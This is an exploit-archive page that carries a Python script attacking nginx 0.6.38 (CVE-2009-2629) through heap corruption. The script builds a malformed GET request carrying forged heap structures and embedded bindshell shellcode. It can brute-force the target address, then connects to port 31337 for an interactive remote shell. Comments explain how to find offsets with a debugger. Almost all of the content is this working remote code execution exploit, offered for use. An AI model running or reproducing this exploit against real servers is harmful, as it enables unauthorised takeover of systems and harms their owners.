exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nginx 0.6.3.8 Heap Corruption

Nginx 0.6.3.8 Heap Corruption
Posted Aug 30, 2010
Authored by aaron conole

Nginx version 0.6.38 heap corruption exploit.

tags | exploit
SHA-256 | f0e708878e2c5a4352a3ea3e827b14424c654e6bad3d69ea431626585786de0b

Nginx 0.6.3.8 Heap Corruption

Change Mirror Download
#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole <apconole@yahoo.com>
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
# intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
# also - only tested successfully against nginx 0.6.38
# you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
# if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
# found a "magic" combination that would cause the state machine to do
# what I want to make the bug trigger. Once I do, you can bet BUG will be
# replaced.

import os
import sys
import socket
import select
import struct
import time
import urllib

REQUEST_METHOD='GET '

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'

# NOTE - this shellcode was shamelessly stolen from the www
# port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'

BUG=DOUBLE_SLASH

# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

def connect_socket(host,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect( (host, port) )
except:
return 0
#sock.setblocking(0)
return sock

def handle_connection(sock):
while(1):
r, w, e = select.select( [sock, sys.stdin],
[],
[sock, sys.stdin] )
for s in r:
if s == sys.stdin:
buf = sys.stdin.readline()

try:
if buf != '':
sock.send(buf)
except:
print "Xon close?"
return 0

elif s == sock:
try:
buf = sock.recv(100)
except:
print "Xon close?"
return 0
if buf != '':
sys.stdout.write(buf)

def main(argv):
argc = len(argv)

if argc < 4:
print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
print "[*] host = the remote host name"
print "[*] port = the remote port"
print "[*] ctx_addr is where the context address should begin at"
print "[*] -b specifies a brute-force (which will start at ctx_addr"
sys.exit(0)

host = argv[1]
port = int(argv[2])
ctx_addr = int(argv[3],16)

brute_flag = 0
if(argc == 5):
brute_flag = 1

testing = 1

print "[*] target: %s:%d" % (host, port)

try:
sd = urllib.urlopen("http://%s:%d" % (host, port))
sd.close()
except IOError, errmsg:
print "[*] error: %s" % (errmsg)
sys.exit(1)

print "[*] sending exploit string to %s:%d" % (host, port)

while(testing):

CTX_ADDRESS = struct.pack('<L',ctx_addr)
CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)

#PADDING
SHELLCODE=PATTERN[:67]

#the output context structure
SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS

#Magic
SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR

#this is the context object - some null ptrs, then we set range, then
#pool address
SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'
SHELLCODE+=NULLPTR*2+POOL_ADDRESS

#this is the data buffer object
SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR

#this is the pool memory structure ..
SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR

# this is the range structure
SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3

SHELLCODE+=SHELL

payload = REQUEST_METHOD
payload += BUG
payload += SHELLCODE
payload += ' HTTP/1.0\r\n\r\n'

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()

if (brute_flag):
nsock = connect_socket(host,31337)
if nsock != 0:
print "[*] Successful Exploit via buffer: %x" % (ctx_addr)
testing = 0
handle_connection(nsock)
else:
ctx_addr = ctx_addr + 1
else:
testing = 0
print "[*] FIN."

if __name__ == "__main__":
main(sys.argv)
sys.exit(0)

# EOF


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close